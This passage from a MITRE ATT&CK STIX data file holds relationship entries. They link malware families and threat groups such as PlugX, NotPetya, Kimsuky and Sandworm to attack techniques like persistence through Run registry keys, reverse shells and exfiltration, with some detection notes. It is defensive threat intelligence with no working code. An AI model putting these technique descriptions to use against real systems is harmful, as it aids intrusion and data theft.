"https://blog.scilabs.mx/en/ursa-mispadu-overlap-analysis-with-other-threats/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-02T18:00:57.266Z", "description": "[Malteiro](https://attack.mitre.org/groups/G1026) has used scripts encoded in Base64 certificates to distribute malware to victims.(Citation: SCILabs Malteiro Threat Overlap 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--bf668120-e9a6-4017-a014-bfc0f5232656", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c817fbc-5dff-4059-8230-b8040dabde61", "type": "relationship", "created": "2021-04-16T03:01:55.663Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-08T21:59:57.253Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c854772-5259-49c8-94e1-66188f2fdbb9", "type": "relationship", "created": "2022-03-30T14:26:51.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.847Z", "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts. 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Retrieved June 18, 2021."}], "modified": "2021-08-31T21:30:39.407Z", "description": "[Cuba](https://attack.mitre.org/software/S0625) can use the function <code>GetIpNetTable</code> to recover the last connections to the victim's machine.(Citation: McAfee Cuba April 2021) ", "relationship_type": "uses", "source_ref": "malware--6cd07296-14aa-403d-9229-6343d03d4752", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7c85cd06-5b92-4b5d-acf5-fdd12a73b289", "created": "2020-12-14T17:34:58.733Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Nicolas Falliere, Liam O Murchu, Eric Chien February 2011", "description": "Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ", "url": "https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-17T18:03:37.436Z", "description": "[Stuxnet](https://attack.mitre.org/software/S0603) uses a Windows rootkit to mask its binaries and other relevant files.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)", "relationship_type": "uses", "source_ref": "malware--088f1d6e-0783-47c6-9923-9c79b2af43d4", "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c8e34ad-89a4-44cf-bd56-d1583803f086", "type": "relationship", "created": "2019-01-29T18:17:59.262Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CIRCL PlugX March 2013", "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf", "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."}, {"source_name": "Proofpoint TA416 Europe March 2022", "url": "https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european", "description": "Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}], "modified": "2022-03-16T19:57:20.694Z", "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to download and execute files on the compromised machine.(Citation: CIRCL PlugX March 2013)(Citation: Proofpoint TA416 Europe March 2022)", "relationship_type": "uses", "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c958b31-ef21-4231-9a8f-a66cb7db3355", "type": "relationship", "created": "2020-11-30T17:38:40.944Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "url": "https://www.justice.gov/opa/press-release/file/1328521/download", "description": "Scott W. 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Retrieved November 25, 2020."}], "modified": "2020-11-30T17:38:40.944Z", "description": "[NotPetya](https://attack.mitre.org/software/S0368) searches for files ending with dozens of different file extensions prior to encryption.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c99fea0-3497-4eec-aca9-5ffdcdec52d9", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Users checking or changing their <code>HISTCONTROL</code>, <code>HISTFILE</code>, or <code>HISTFILESIZE</code> environment variables may be suspicious.", "source_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", "target_ref": "attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7c9a9a32-4dbf-4146-9e16-24ba9896a754", "created": "2024-04-12T10:53:22.308Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "NGLite Trojan", "description": "Robert Falcone, Jeff White, and Peter Renals. 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Retrieved February 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Meteor](https://attack.mitre.org/software/S0688) execution begins from a scheduled task named `Microsoft\\Windows\\Power Efficiency Diagnostics\\AnalyzeAll` and it creates a separate scheduled task called `mstask` to run the wiper only once at 23:55:00.(Citation: Check Point Meteor Aug 2021)", "modified": "2022-04-09T14:30:39.919Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c9b61d8-30ff-4594-9cfb-90f2db44ca0e", "type": "relationship", "created": "2020-06-02T19:36:48.212Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 CARROTBAT January 2020", "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/", "description": "McCabe, A. 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Retrieved June 2, 2020."}], "modified": "2020-06-02T19:36:48.212Z", "description": "[CARROTBALL](https://attack.mitre.org/software/S0465) has been executed through users being lured into opening malicious e-mail attachments.(Citation: Unit 42 CARROTBAT January 2020)", "relationship_type": "uses", "source_ref": "tool--5fc81b43-62b5-41b1-9113-c79ae5f030c4", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7c9e8275-a3d5-42cf-9202-5737f98362ee", "type": "relationship", "created": "2021-04-09T13:34:37.323Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Intezer Doki July 20", "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/", "description": "Fishbein, N., Kajiloti, M.. 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Retrieved March 30, 2021."}], "modified": "2021-04-09T13:34:37.323Z", "description": "[Doki](https://attack.mitre.org/software/S0600) has executed shell scripts with /bin/sh.(Citation: Intezer Doki July 20)", "relationship_type": "uses", "source_ref": "malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f", "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--7ca1b40d-d1de-48ab-b8ad-023ad9877def", "created": "2017-05-31T21:33:27.069Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Novetta Blockbuster Destructive Malware", "url": "https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", "description": "Novetta Threat Research Group. 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Retrieved February 17, 2022."}, {"source_name": "Microsoft Actinium February 2022", "url": "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", "description": "Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}, {"source_name": "Unit 42 Gamaredon February 2022", "url": "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/", "description": "Unit 42. (2022, February 3). Russia\u2019s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}, {"source_name": "Secureworks IRON TILDEN Profile", "url": "https://www.secureworks.com/research/threat-profiles/iron-tilden", "description": "Secureworks CTU. (n.d.). IRON TILDEN. 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(2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}], "modified": "2019-06-24T17:08:51.630Z", "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) can gather very specific information about attached USB devices, to include device instance ID and drive geometry.(Citation: Securelist BlackEnergy Nov 2014)", "relationship_type": "uses", "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7cadb166-106c-4664-91fe-2210758698e4", "created": "2022-07-29T19:35:54.150Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T23:43:21.754Z", "description": "Monitor for newly executed processes that may delete or alter generated artifacts associated with persistence on a host system. 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Retrieved September 2, 2022.", "url": "https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-12T22:05:06.771Z", "description": "[Bumblebee](https://attack.mitre.org/software/S1039) has named component DLLs \"RapportGP.dll\" to match those used by the security company Trusteer.(Citation: Medium Ali Salem Bumblebee April 2022)", "relationship_type": "uses", "source_ref": "malware--04378e79-4387-468a-a8f7-f974b8254e44", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7cafb7b2-5227-4340-b531-7bd134645d30", "type": "relationship", "created": "2020-05-15T16:50:05.780Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FSecure Lokibot November 2019", "url": "https://www.f-secure.com/v-descs/trojan_w32_lokibot.shtml", "description": "Kazem, M. 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Comnie Continues to Target Organizations in East Asia. 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(2011, November). W32.Duqu: The precursor to the next Stuxnet. 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Retrieved March 21, 2022."}], "modified": "2022-03-21T22:57:40.656Z", "description": "[Green Lambert](https://attack.mitre.org/software/S0690) can use DNS for C2 communications.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021)", "relationship_type": "uses", "source_ref": "malware--59c8a28c-200c-4565-9af1-cbdb24870ba0", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7ce7aa48-afa9-4eb6-8bc2-8f04fd6cf00e", "type": "relationship", "created": "2022-02-18T16:37:20.194Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Actinium February 2022", "url": "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", "description": "Microsoft Threat Intelligence Center. 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(2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", "url": "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"}, {"source_name": "Secureworks Karagany July 2019", "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector", "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}], "modified": "2020-08-13T14:05:45.255Z", "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can create directories to store plugin output and stage data for exfiltration.(Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)", "relationship_type": "uses", "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7cfb528c-6c2d-4f67-b59e-c343678db839", "type": "relationship", "created": "2019-03-26T16:19:52.425Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Nyetya June 2017", "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html", "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."}, {"description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.", "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A", "source_name": "US-CERT NotPetya 2017"}, {"description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. 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(2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."}, {"source_name": "reed thiefquest ransomware analysis", "url": "https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/", "description": "Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021."}], "modified": "2021-04-26T20:02:14.787Z", "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) exfiltrates targeted file extensions in the <code>/Users/</code> folder to the command and control server via unencrypted HTTP. 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(2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. 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(2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020."}], "modified": "2020-05-06T18:10:59.301Z", "description": "[Kivars](https://attack.mitre.org/software/S0437) has the ability to initiate keylogging on the infected host.(Citation: TrendMicro BlackTech June 2017)", "relationship_type": "uses", "source_ref": "malware--b2d134a1-7bd5-4293-94d4-8fc978cb1cd7", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--7d101f53-3b5a-467a-aeb8-172cd77e92ce", "created": "2020-11-02T19:03:11.933Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Malwarebytes Kimsuky June 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "description": "Jazi, H. (2021, June 1). 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Retrieved March 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used links in e-mail to steal account information.(Citation: VirusBulletin Kimsuky October 2019)(Citation: Malwarebytes Kimsuky June 2021)(Citation: KISA Operation Muzabi)", "modified": "2022-04-12T18:46:34.880Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7d115073-c008-4394-867d-07c385d3db87", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", "description": "Svajcer, V. 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Retrieved November 5, 2018."}, {"source_name": "Unit 42 Cobalt Gang Oct 2018", "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/", "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018."}, {"description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/", "source_name": "TrendMicro Cobalt Group Nov 2017"}], "modified": "2020-06-23T19:41:51.997Z", "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent Word OLE compound documents with malicious obfuscated VBA macros that will run upon user execution.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: Group IB Cobalt Aug 2017)(Citation: Morphisec Cobalt Gang Oct 2018)(Citation: Unit 42 Cobalt Gang Oct 2018)(Citation: TrendMicro Cobalt Group Nov 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7d12ca01-c979-4fdf-8548-9da12c105ba0", "created": "2023-09-27T14:42:00.404Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Booz Allen Hamilton", "description": "Booz Allen Hamilton   When The Lights Went Out Retrieved. 2019/10/22 ", "url": "https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-27T15:22:30.525Z", "description": "During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) pushed additional malicious tools onto an infected system to steal user credentials, move laterally, and destroy data. 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Retrieved September 10, 2020."}], "modified": "2020-09-11T13:27:44.314Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) can Base64-encode C2 commands.(Citation: Cyberreason Anchor December 2019)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7d181964-875f-4132-8882-46e9dd18e893", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "RATANKBA", "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. 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Retrieved May 24, 2021.", "url": "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-05T15:57:43.136Z", "description": "During [CostaRicto](https://attack.mitre.org/campaigns/C0004), the threat actors used scheduled tasks to download backdoor tools.(Citation: BlackBerry CostaRicto November 2020) ", "relationship_type": "uses", "source_ref": "campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7d1c227c-25b9-4e8b-ad88-618d9f382420", "created": "2023-10-03T18:33:37.106Z", "revoked": false, "external_references": [{"source_name": "Telefonica Snip3 December 2021", "description": "Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.", "url": "https://telefonicatech.com/blog/snip3-investigacion-malware"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-03T18:33:37.106Z", "description": "[Snip3](https://attack.mitre.org/software/S1086) has been delivered to victims through malicious e-mail attachments.(Citation: Telefonica Snip3 December 2021)", "relationship_type": "uses", "source_ref": "malware--4327aff5-f194-440c-b499-4d9730cc1eab", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7d1d4ffd-7c60-4a83-bcfa-66413bbe7212", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/", "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", "source_name": "McAfee Gold Dragon"}], "modified": "2020-04-21T23:09:31.610Z", "description": "[RunningRAT](https://attack.mitre.org/software/S0253) adds itself to the Registry key <code>Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> to establish persistence upon reboot.(Citation: McAfee Gold Dragon)", "relationship_type": "uses", "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7d1e24d5-1405-4ade-a4f3-ddb946b46783", "type": "relationship", "created": "2020-06-19T21:25:43.591Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017"}], "modified": "2020-06-29T21:37:55.900Z", "description": "[Goopy](https://attack.mitre.org/software/S0477) has the ability to use cmd.exe to execute commands passed from an Outlook C2 channel.(Citation: Cybereason Cobalt Kitty 2017)\t", "relationship_type": "uses", "source_ref": "malware--eac3d77f-2b7b-4599-ba74-948dc16633ad", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7d20cbaf-a154-4192-9a97-ef2662d07246", "type": "relationship", "created": "2019-04-23T18:41:37.124Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/", "source_name": "CoinTicker 2019"}], "modified": "2020-03-17T18:46:03.910Z", "description": "[CoinTicker](https://attack.mitre.org/software/S0369) executes a bash script to establish a reverse shell.(Citation: CoinTicker 2019)", "relationship_type": "uses", "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7d20e7fe-b5e6-4ee9-8d5f-dd3e9ca9365d", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Monitor contextual data about a service/daemon, which may include information such as name, service executable, start type that that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.", "source_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", "target_ref": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7d244034-588d-4861-81ea-8c1db44f7055", "type": "relationship", "created": "2020-01-24T14:17:44.082Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-24T14:17:44.082Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--63220765-d418-44de-8fae-694b3912317d", "target_ref": 